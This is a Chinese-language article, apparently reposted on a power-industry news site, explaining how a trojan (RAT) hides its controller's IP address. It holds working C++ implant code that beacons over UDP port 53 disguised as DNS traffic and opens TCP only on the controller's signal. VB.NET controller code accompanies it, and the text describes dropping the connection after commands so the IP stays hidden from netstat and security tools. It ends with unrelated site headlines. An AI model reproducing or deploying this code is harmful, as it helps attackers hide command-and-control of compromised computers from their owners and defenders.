浅谈木马如何隐藏上线IP地址
木马也叫RAT,或者叫远程管理软件,关于如何隐藏IP地址,应该有不少人在研究,比如ROOTKIT实现文件隐藏、进程隐藏、网络连接隐藏等等。本人才疏学浅,没有深入研究过ROOTKIT,只是谈谈应用层的技术。
下面给出流程图:
解释一下流程图的原理,UDP网络协议是面向无连接的,和TCP协议的三次握手不同。
用系统自带的查看网络连接的命令 netstat -ano 是查看不到远程IP地址和端口的,用第三方软件或者工具也同样查看不到,如以前的冰刃、360网络连接查看器等等。
下面结合源代码和效果图来说明下IP地址是如何隐藏的。
被控端关键源代码(C++):
DWORD WINAPI ConnTask::InitUdpConn(LPVOID lpParameter) { WSADATA WSA; if ((WSAStartup(MAKEWORD(2,2),&WSA)) != 0) { printf("[e]WSAStartup Error!\n"); } boolean IsUdpConn=true; int timeout=1000; while(IsUdpConn) { try { Sleep(UdpTime); SOCKET sockClient=socket(AF_INET,SOCK_DGRAM,0); setsockopt(sockClient,SOL_SOCKET,SO_SNDTIMEO,(const char*)&timeout,sizeof(int)); setsockopt(sockClient, SOL_SOCKET, SO_RCVTIMEO, (const char *)&timeout, sizeof(int) ); SOCKADDR_IN addrSrv; //域名上线 struct hostent *host = gethostbyname(g_remote_host.c_str()); addrSrv.sin_addr.s_addr=inet_addr(inet_ntoa(*((struct in_addr*)(host->h_addr)))); addrSrv.sin_family=AF_INET; addrSrv.sin_port=htons(53); u_long ul=1;//代表非阻塞 ioctlsocket(sockClient,FIONBIO,&ul);//设置为非阻塞连接 string sendStr = "0x4869"; sendto(sockClient,sendStr.c_str(),strlen(sendStr.c_str())+1,0,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR)); u_long ulu=0;//代表阻塞 ioctlsocket(sockClient,FIONBIO,&ulu);//设置为阻塞连接 int len=sizeof(SOCKADDR); char recvBuf[14]={0}; recvfrom(sockClient,recvBuf,14,0,(SOCKADDR*)&addrSrv,&len); string recvStr=recvBuf; if (0 == strncmp(recvStr.c_str(), "4F70656E546370",14)) { IsUdpConn=false; InitTcpConn(); closesocket(sockClient); } SYSTEMTIME sys; GetLocalTime( &sys ); printf("udprecv time: %02d:%02d:%02d ",sys.wHour,sys.wMinute, sys.wSecond); printf("%s\n",recvStr.c_str()); closesocket(sockClient); }catch(...) //捕获任意类型异常 { } } WSACleanup(); }
控制端关键源代码(vb.net):
Private Sub InitUdp() Try Dim udpServer As New UdpClient(53)'53号端口是DNS 协议端口,隐蔽性好。 Dim groupEP As New IPEndPoint(IPAddress.Any, 53) While (True) Dim buffer As Byte() = udpServer.Receive(groupEP) Dim revStr As String = Encoding.UTF8.GetString(buffer, 0, buffer.Length) Dim ipaddr As String = groupEP.Address.ToString() Dim MessageIn As New gDelegate(AddressOf displayTxt) Me.Invoke(MessageIn, ipaddr & " " & revStr) udpServer.Send(Encoding.UTF8.GetBytes("OpenTcp"), 7, groupEP) End While Catch ex As SocketException Debug.Print(ex.ToString()) 'MsgBox(ex.ToString()) Catch e As Exception Debug.Print(e.ToString()) 'MsgBox(e.ToString()) Finally End Try End Sub
上面的代码只是用来测试用的,真正的木马源代码会有少量的变化。
下面是测试程序效果图。
被控端:
控制端:
控制端我这里用的是内网的IP地址,用公网IP地址也是一样的效果。
到了这里有人会问, 最后你这里还是会用TCP 来建立连接, TCP连接就会有网络连接的远程IP地址。是的,没错,确实能看到网络连接、IP地址也能查看到。这样是不是就没有必要之前的步骤了, 我个人看法是有必要; 为什么? 因为绝大多数木马都是开机自启动的, 自启动后控制端并不一定处于监听状态。
可能1个小时,也可能一天或者一个月。只要控制端不处于监听状态,被控端就一直查不到远程的IP地址。还有一个步骤这里说明下,当控制端发送完指令后,比如文件上传下载、执行命令、屏幕捕获等等木马常用的功能, 当发送完这些指令后, 控制端可以随时发送断开 TCP 连接的指令,让被控端再次进入UDP发送消息的流程中,这样 IP 地址再次隐藏。
最后是高潮部分。
看下远控程序的实际效果图:
作为观看这篇文章的奖励, 我有一个小礼物送给大家。
xmap
主要功能:获取局域网在线IP地址,MAC地址,MAC设备制造商.
使用方法:
方法一:直接命令行下执行xmap.
方法二:xmap 本机IP 本机子网掩码
注意:参数中间都有空格。
效果图如下:
责任编辑:大云网
-
现货模式下谷电用户价值再评估
2020-10-10电力现货市场,电力交易,电力用户 -
PPT | 高校综合能源服务有哪些解决方案?
2020-10-09综合能源服务,清洁供热,多能互补 -
深度文章 | “十三五”以来电力消费增长原因分析及中长期展望
2020-09-27电力需求,用电量,全社会用电量
-
PPT | 高校综合能源服务有哪些解决方案?
2020-10-09综合能源服务,清洁供热,多能互补 -
深度文章 | “十三五”以来电力消费增长原因分析及中长期展望
2020-09-27电力需求,用电量,全社会用电量 -
我国电力改革涉及的电价问题
-
贵州职称论文发表选择泛亚,论文发表有保障
2019-02-20贵州职称论文发表 -
《电力设备管理》杂志首届全国电力工业 特约专家征文
2019-01-05电力设备管理杂志 -
国内首座蜂窝型集束煤仓管理创新与实践
-
人力资源和社会保障部:电线电缆制造工国家职业技能标准
-
人力资源和社会保障部:变压器互感器制造工国家职业技能标准
-
《低压微电网并网一体化装置技术规范》T/CEC 150
2019-01-02低压微电网技术规范
-
现货模式下谷电用户价值再评估
2020-10-10电力现货市场,电力交易,电力用户 -
建议收藏 | 中国电价全景图
2020-09-16电价,全景图,电力 -
一张图读懂我国销售电价附加
2020-03-05销售电价附加
-
电气工程学科排行榜发布!华北电力大学排名第二
-
国家电网61家单位招聘毕业生
2019-03-12国家电网招聘毕业生 -
《电力设备管理》杂志读者俱乐部会员招募
2018-10-16电力设备管理杂志